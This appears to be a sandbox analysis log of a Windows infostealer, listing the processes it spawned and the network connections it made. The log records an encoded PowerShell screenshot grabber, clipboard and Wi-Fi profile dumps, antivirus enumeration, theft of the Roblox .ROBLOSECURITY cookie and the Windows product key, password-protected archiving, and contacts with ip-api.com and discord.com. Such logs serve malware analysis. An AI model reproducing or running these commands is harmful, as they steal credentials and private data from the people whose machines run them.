C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
C:\Windows\system32\systeminfo.exe
systeminfo
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\netsh.exe
netsh wlan show profile
C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\attrib.exe
attrib -r C:\Windows\System32\drivers\etc\hosts
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\attrib.exe
attrib +r C:\Windows\System32\drivers\etc\hosts
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qlirqoxp\qlirqoxp.cmdline"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8E7D.tmp" "c:\Users\Admin\AppData\Local\Temp\qlirqoxp\CSCEC6AA8A592064CCD832F4AE67541E23F.TMP"
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\tree.com
tree /A /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
C:\Windows\system32\getmac.exe
getmac
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI19642\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\y3lJR.zip" *"
C:\Users\Admin\AppData\Local\Temp\_MEI19642\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI19642\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\y3lJR.zip" *
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | gstatic.com | udp |
| GB | 142.250.179.227:443 | gstatic.com | tcp |
| US | 8.8.8.8:53 | 68.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 227.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.google.com | udp |
| GB | 142.250.200.4:443 | www.google.com | tcp |
| US | 8.8.8.8:53 | 227.187.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.180.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ogads-pa.googleapis.com | udp |
| US | 8.8.8.8:53 | apis.google.com | udp |
| GB | 142.250.187.234:443 | ogads-pa.googleapis.com | udp |
| GB | 142.250.179.238:443 | apis.google.com | udp |
| GB | 142.250.187.234:443 | ogads-pa.googleapis.com | tcp |
| US | 8.8.8.8:53 | 4.200.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 3.178.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 234.187.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 238.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | play.google.com | udp |
| GB | 216.58.201.110:443 | play.google.com | udp |
| GB | 216.58.201.110:443 | play.google.com | tcp |
| US | 8.8.8.8:53 | discord.com | udp |
| US | 162.159.136.232:443 | discord.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 110.201.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | clients2.google.com | udp |
| GB | 172.217.169.78:443 | clients2.google.com | udp |
| GB | 172.217.169.78:443 | clients2.google.com | tcp |
| N/A | 224.0.0.251:5353 | udp | |
| US | 8.8.8.8:53 | 232.136.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 78.169.217.172.in-addr.arpa | udp |
| GB | 142.250.200.4:443 | www.google.com | udp |
| US | 8.8.8.8:53 | content-autofill.googleapis.com | udp |
| GB | 142.250.179.234:443 | content-autofill.googleapis.com | tcp |
| US | 8.8.8.8:53 | 234.179.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.204.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 200.163.202.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.117.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | duckdcukgo.com | udp |
| NL | 82.192.82.225:443 | duckdcukgo.com | tcp |
| NL | 82.192.82.225:443 | duckdcukgo.com | tcp |
| US | 8.8.8.8:53 | 225.82.192.82.in-addr.arpa | udp |
| US | 8.8.8.8:53 | duckduckgo.com | udp |
| IE | 52.142.124.215:443 | duckduckgo.com | tcp |
| IE | 52.142.124.215:443 | duckduckgo.com | tcp |
| US | 8.8.8.8:53 | 215.124.142.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | improving.duckduckgo.com | udp |
| GB | 142.250.179.234:443 | content-autofill.googleapis.com | tcp |
| US | 8.8.8.8:53 | links.duckduckgo.com | udp |
| IE | 20.223.54.233:443 | links.duckduckgo.com | tcp |
| US | 8.8.8.8:53 | 233.54.223.20.in-addr.arpa | udp |
| GB | 142.250.179.234:443 | content-autofill.googleapis.com | udp |
| IE | 52.142.124.215:443 | improving.duckduckgo.com | tcp |
| US | 8.8.8.8:53 | external-content.duckduckgo.com | udp |
| IE | 52.142.125.222:443 | external-content.duckduckgo.com | tcp |
| IE | 52.142.125.222:443 | external-content.duckduckgo.com | tcp |
| IE | 52.142.125.222:443 | external-content.duckduckgo.com | tcp |
| IE | 52.142.125.222:443 | external-content.duckduckgo.com | tcp |
| IE | 52.142.125.222:443 | external-content.duckduckgo.com | tcp |
| IE | 52.142.125.222:443 | external-content.duckduckgo.com | tcp |
| US | 8.8.8.8:53 | 222.125.142.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | httptoolkit.com | udp |
| GB | 143.244.38.136:443 | httptoolkit.com | tcp |
| GB | 143.244.38.136:443 | httptoolkit.com | tcp |
| US | 8.8.8.8:53 | vz-7ada43d8-9d3.b-cdn.net | udp |
| US | 8.8.8.8:53 | vz-232e9c2f-cfb.b-cdn.net | udp |
| DE | 138.199.37.225:443 | vz-7ada43d8-9d3.b-cdn.net | tcp |
| DE | 138.199.37.225:443 | vz-7ada43d8-9d3.b-cdn.net | tcp |
| DE | 185.59.220.198:443 | vz-232e9c2f-cfb.b-cdn.net | tcp |
| DE | 185.59.220.198:443 | vz-232e9c2f-cfb.b-cdn.net | tcp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.38.244.143.in-addr.arpa | udp |
| US | 8.8.8.8:53 | events.httptoolkit.tech | udp |
| GB | 142.250.179.234:443 | content-autofill.googleapis.com | tcp |
| US | 8.8.8.8:53 | 225.37.199.138.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.220.59.185.in-addr.arpa | udp |
| FR | 51.159.112.42:443 | events.httptoolkit.tech | tcp |
| US | 8.8.8.8:53 | 42.112.159.51.in-addr.arpa | udp |
| GB | 142.250.179.234:443 | content-autofill.googleapis.com | udp |
| US | 8.8.8.8:53 | beacons.gcp.gvt2.com | udp |
| GB | 172.217.169.3:443 | beacons.gcp.gvt2.com | tcp |
| GB | 172.217.169.3:443 | beacons.gcp.gvt2.com | tcp |
| US | 8.8.8.8:53 | github.com | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 8.8.8.8:53 | objects.githubusercontent.com | udp |
| US | 185.199.109.133:443 | objects.githubusercontent.com | tcp |
| GB | 143.244.38.136:443 | httptoolkit.com | tcp |
| US | 8.8.8.8:53 | 215.156.26.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 3.169.217.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.109.199.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| GB | 172.217.169.3:443 | beacons.gcp.gvt2.com | udp |
| US | 8.8.8.8:53 | 11.173.189.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | app.httptoolkit.tech | udp |
| US | 8.8.8.8:53 | app.httptoolkit.tech | udp |
| GB | 143.244.38.136:443 | app.httptoolkit.tech | tcp |
| N/A | 127.0.0.1:45457 | tcp | |
| US | 8.8.8.8:53 | o202389.ingest.us.sentry.io | udp |
| US | 8.8.8.8:53 | o202389.ingest.us.sentry.io | udp |
| US | 34.120.195.249:443 | o202389.ingest.us.sentry.io | tcp |
| US | 8.8.8.8:53 | login.httptoolkit.tech | udp |
| US | 8.8.8.8:53 | login.httptoolkit.tech | udp |
| US | 8.8.8.8:53 | accounts.httptoolkit.tech | udp |
| US | 8.8.8.8:53 | accounts.httptoolkit.tech | udp |
| US | 8.8.8.8:53 | httptoolkit.com | udp |
| US | 8.8.8.8:53 | httptoolkit.com | udp |
| US | 8.8.8.8:53 | cdn.auth0.com | udp |
| US | 8.8.8.8:53 | cdn.auth0.com | udp |
| US | 8.8.8.8:53 | cdn.eu.auth0.com | udp |
| US | 8.8.8.8:53 | cdn.eu.auth0.com | udp |
| GB | 143.244.38.136:443 | accounts.httptoolkit.tech | tcp |
| US | 104.19.153.19:443 | cdn.eu.auth0.com | tcp |
| US | 104.19.153.19:443 | cdn.eu.auth0.com | tcp |
| GB | 79.127.237.132:443 | httptoolkit.com | tcp |
| NL | 18.239.16.41:443 | cdn.auth0.com | tcp |
| US | 104.19.153.19:443 | cdn.eu.auth0.com | udp |
| US | 8.8.8.8:53 | 249.195.120.34.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 132.237.127.79.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.153.19.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.16.239.18.in-addr.arpa | udp |
| N/A | 127.0.0.1:45456 | tcp | |
| US | 8.8.8.8:53 | github.com | udp |
| GB | 20.26.156.215:443 | github.com | tcp |
| US | 8.8.8.8:53 | events.httptoolkit.tech | udp |
| US | 8.8.8.8:53 | events.httptoolkit.tech | udp |
| FR | 51.159.112.42:443 | events.httptoolkit.tech | tcp |
| N/A | 127.0.0.1:45456 | tcp | |
| N/A | 127.0.0.1:5037 | tcp | |
| N/A | 127.0.0.1:5037 | tcp | |
| N/A | 127.0.0.1:45456 | tcp | |
| N/A | 127.0.0.1:45457 | tcp | |
| N/A | 127.0.0.1:45457 | tcp | |
| N/A | 127.0.0.1:5037 | tcp | |
| N/A | 127.0.0.1:45456 | tcp | |
| N/A | 127.0.0.1:45456 | tcp | |
| N/A | 127.0.0.1:27015 | tcp | |
| US | 8.8.8.8:53 | objects.githubusercontent.com | udp |
| US | 185.199.110.133:443 | objects.githubusercontent.com | tcp |
| US | 8.8.8.8:53 | dns.google | udp |
| US | 8.8.8.8:53 | dns.google | udp |
| US | 8.8.8.8:53 | dns.google | udp |
| US | 8.8.8.8:53 | dns.google | udp |
| US | 8.8.4.4:443 | dns.google | tcp |
| US | 8.8.4.4:443 | dns.google | tcp |
| US | 8.8.8.8:53 | 4.4.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.110.199.185.in-addr.arpa | udp |
| US | 8.8.4.4:443 | dns.google | udp |
| N/A | 127.0.0.1:45457 | tcp | |
| N/A | 127.0.0.1:5037 | tcp | |
| N/A | 127.0.0.1:27015 | tcp | |
| N/A | 127.0.0.1:45457 | tcp | |
| N/A | 127.0.0.1:5037 | tcp | |
| N/A | 127.0.0.1:27015 | tcp | |
| US | 8.8.8.8:53 | cxcs.microsoft.net | udp |
| GB | 2.18.66.171:443 | www.bing.com | tcp |
| GB | 23.213.251.133:443 | cxcs.microsoft.net | tcp |
| US | 8.8.8.8:53 | 171.66.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.251.213.23.in-addr.arpa | udp |
| N/A | 127.0.0.1:45457 | tcp | |
| N/A | 127.0.0.1:5037 | tcp | |
| N/A | 127.0.0.1:27015 | tcp | |
| N/A | 127.0.0.1:45457 | tcp | |
| N/A | 127.0.0.1:5037 | tcp | |
